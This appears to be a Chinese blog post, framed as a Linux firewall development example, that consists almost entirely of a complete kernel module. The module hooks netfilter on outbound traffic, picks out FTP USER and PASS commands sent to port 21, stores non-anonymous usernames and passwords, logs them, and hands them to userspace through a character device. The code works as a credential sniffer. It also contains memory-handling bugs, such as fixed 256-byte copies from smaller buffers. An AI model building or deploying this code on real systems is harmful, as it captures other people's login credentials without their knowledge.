linux防火墙开发实例 获取FTP账号密码

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/cdev.h>
#include <linux/types.h>
#include <linux/netdevice.h>
#include <linux/skbuff.h>
#include <linux/netfilter_ipv4.h>
#include <linux/inet.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/udp.h>
 
#define SECOND_MAJOR 0
 
//用于显示IP
#define NIPQUAD(addr) \ ((unsigned char *)&addr)[0], \
  ((unsigned char *)&addr)[1], \
  ((unsigned char *)&addr)[2], \
  ((unsigned char *)&addr)[3]
 
//通信端口
static int second_major = SECOND_MAJOR;
//注册通信端口时用到的结构 保存端口信息
struct cdev g_cdev;
 
 
char *g_UserName = NULL;
char *g_PassWord = NULL;
char *g_Retstr = NULL;
 
int second_open(struct inode *inode, struct file *filp)
{
  printk("Open!\n");
  return 0;    
}
 
int second_release(struct inode *inode, struct file *filp)
{
    printk("Release!\n");
    return 0;
}
static ssize_t second_read(struct file *filp, char __user *buf, size_t count, 
  loff_t *ppos)
{
  int ret = 0;
  //printk("Read!\n");
  if(g_UserName && g_PassWord && g_Retstr)
  {
  	if(*g_UserName == '\0' || *g_PassWord == '\0')
	{
		return 0;
	}
  	strcpy(g_Retstr,"UserID:");
	strcat(g_Retstr,g_UserName);
	strcat(g_Retstr," PassWord:");
	strcat(g_Retstr,g_PassWord);
  //断数据可以用put_user 字符串或大数据使用copy_to_user
    if (copy_to_user(buf,g_Retstr,256))
    {
       ret =  -EFAULT;
    }else
    {
       ret = 256;
    }
    memset(g_UserName,'\0',256);
	memset(g_PassWord,'\0',256);
  }
 
  return ret;
}
 
//通信分发函数设置
static const struct file_operations second_fops =
{
    .owner = THIS_MODULE,
    .open = second_open,//open
    .release = second_release,//close
    .read = second_read,//read
};
 
static unsigned int ipprint_func(
unsigned int hooknum,
struct sk_buff * skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn) (struct sk_buff *))
{
    __be32 sip,dip;
 
    struct tcphdr *tcph = NULL;
    struct udphdr *udph = NULL;
    unsigned short sport = 0;
    unsigned short dport = 0;
    struct iphdr *iph;
    char *data = NULL;
    char *Username = NULL;
    char *PassWord = NULL;
    int i = 0;
    int len = 0;
    if(skb)
    {
        struct sk_buff *sb = NULL;
        sb = skb;
        //获取ip头
        iph  = ip_hdr(sb);
        //不说了
        sip = iph->saddr;
        dip = iph->daddr;
 
        //如果协议不是TCP就放过
        if(iph->protocol != IPPROTO_TCP)
          return NF_ACCEPT;   
      
      //获取tcp头
        /*
        ihl(Internet Header Length 报头长度),
        位于IP报文的第二个字段,4位,
        表示IP报文头部按32位字长(32位,4字节)计数的长度,也即报文头的长度等于IHL的值乘以4。 
        */
       tcph = (struct tcphdr *)((char *)skb->data + (int)(iph->ihl * 4));
       //要使用tcp_hdr 必须跳过ip头 也就是将ip端push出去
            //tcph = tcp_hdr(sb);
       //获得端口
        sport=ntohs(tcph->source);
        dport=ntohs(tcph->dest);
	 //printk("dPort:%u",dport);
        if(dport != 21)
          return NF_ACCEPT;
        //获取tcp数据
        data = (char *)((int)tcph + (int)(tcph->doff * 4));
 
        //下面的可以抓个FTP包看看就明白了
        if(strncmp(data,"USER",4) == 0)
        {
            //printk("Found User!\n");
            data += 5;
            while (*(data + i) != '\r' 
                && *(data + i) != '\n'
                && *(data + i) != '\0' 
                && i < 15) 
            {
                   len++;
                   i++;
            }
 
             if ((Username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
             {
                printk("UserName is null !\n");
                return NF_ACCEPT;
             }
                  
            memset(Username, 0x0, len + 2);
            memcpy(Username, data, len);
            *(Username + len) = '\0';    
            if(strcmp(Username,"anonymous") == 0)
            {
              kfree(Username);
              Username = NULL;
            } 
          } else if(strncmp(data,"PASS",4) == 0)
          {
            //printk("Found PassWord!\n");
            data += 5;
            while (*(data + i) != '\r' 
                && *(data + i) != '\n'
                && *(data + i) != '\0' 
                && i < 15) 
            {
                   len++;
                   i++;
            }
 
              if ((PassWord = kmalloc(len + 2, GFP_KERNEL)) == NULL)
              {
                    printk("UserName is null !\n");
                    return NF_ACCEPT;
              }
                memset(PassWord,0x0,len+2);
                memcpy(PassWord,data,len);
                *(PassWord + len) = '\0';
                if(strstr(PassWord,"@"))
                {
                  kfree(PassWord);
                  PassWord=NULL;
                }
          }   else 
          {
		    //	printk("No Found FTP!\n");
               return NF_ACCEPT;
          }
        //printk("Packet for source address: %u.%u.%u.%u:%u destination address: %u.%u.%u.%u:%u\n ", NIPQUAD(sip),sport,NIPQUAD(dip),dport);
          if(Username)
          {
            printk("UserName:%s\n",Username);
            memset(g_UserName,0x0,256);
           // strcpy(g_UserName,Username);
			memcpy(g_UserName,Username,256);
            kfree(Username);
          }
          if(PassWord)
          {
            printk("PassWord:%s\n",PassWord);
            memset(g_PassWord,0x0,256);
           // strcpy(g_PassWord,PassWord);
		   memcpy(g_PassWord,PassWord,256);
            kfree(PassWord);
          }
    }
    return NF_ACCEPT;
}
 
//设置回调信息
 struct nf_hook_ops ipprint_ops = {
   .list =  {NULL,NULL},
   .hook = ipprint_func,//回调函数
   .pf = PF_INET,//协议 ipv4还是ipv6
   .hooknum = NF_INET_POST_ROUTING,//hook在什么地方
   //.hooknum = NF_INET_LOCAL_IN,
   .priority = NF_IP_PRI_FILTER+2//优先级
 };
 
static int __init ipprint_init(void) 
{
    int ret;
	int iDevno = 0;
  //从用户那里尝试获得一个设备号
    dev_t devno = MKDEV(second_major, 0);
    //如果用户没有指定 就直接申请一个
    if (second_major)
    {
        ret = register_chrdev_region(devno, 1, "second");
    }else
    {
        ret = alloc_chrdev_region(&devno, 0, 1, "second");
        second_major = MAJOR(devno);
    }
    if (ret < 0)
    {
        return ret;
    }
    /*if((g_cdev = (struct cdev)kmalloc(sizeof(struct cdev),GFP_KERNEL)) == NULL)
    {
        ret = -ENOMEM;
        unregister_chrdev_region(devno, 1);
        return ret;
    }
    memset(g_cdev,0x0,sizeof(struct cdev));*/
 
    //获得设备号
    iDevno = MKDEV(second_major,0);
    //初始化通信
    cdev_init(&g_cdev, &second_fops);
    g_cdev.owner = THIS_MODULE;
    g_cdev.ops = &second_fops;
    ret = cdev_add(&g_cdev, iDevno, 1);
    if (ret)
    {
        printk(KERN_NOTICE "Error %d add second%d", ret, 0);
    }
 
    g_UserName = kmalloc(256,GFP_KERNEL);
    g_PassWord = kmalloc(256,GFP_KERNEL);
	g_Retstr = kmalloc(256,GFP_KERNEL);
    if(g_UserName==NULL || g_PassWord==NULL || g_Retstr == NULL )
    {
        unregister_chrdev_region(devno, 1);
        /*if(g_cdev)
            kfree(g_cdev);*/
        return -ENOMEM;
    }
    //注册网络防火墙
    nf_register_hook(&ipprint_ops);
    printk("DriverEntry!\n");
    return 0;
}
 
 
static void __exit ipprint_exit(void) 
{
  nf_unregister_hook(&ipprint_ops);
  kfree(g_UserName);
  kfree(g_PassWord);
  kfree(g_Retstr);
  cdev_del(&g_cdev);
  //kfree(g_cdev);
  unregister_chrdev_region(MKDEV(second_major, 0), 1); 
  printk("DriverUnload!\n");
}
 
 module_init(ipprint_init);
 module_exit(ipprint_exit); 
 module_param(second_major, int, S_IRUGO);
 MODULE_AUTHOR("djwow");
 MODULE_DESCRIPTION("GetFtpPassTest");
MODULE_LICENSE("GPL");

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值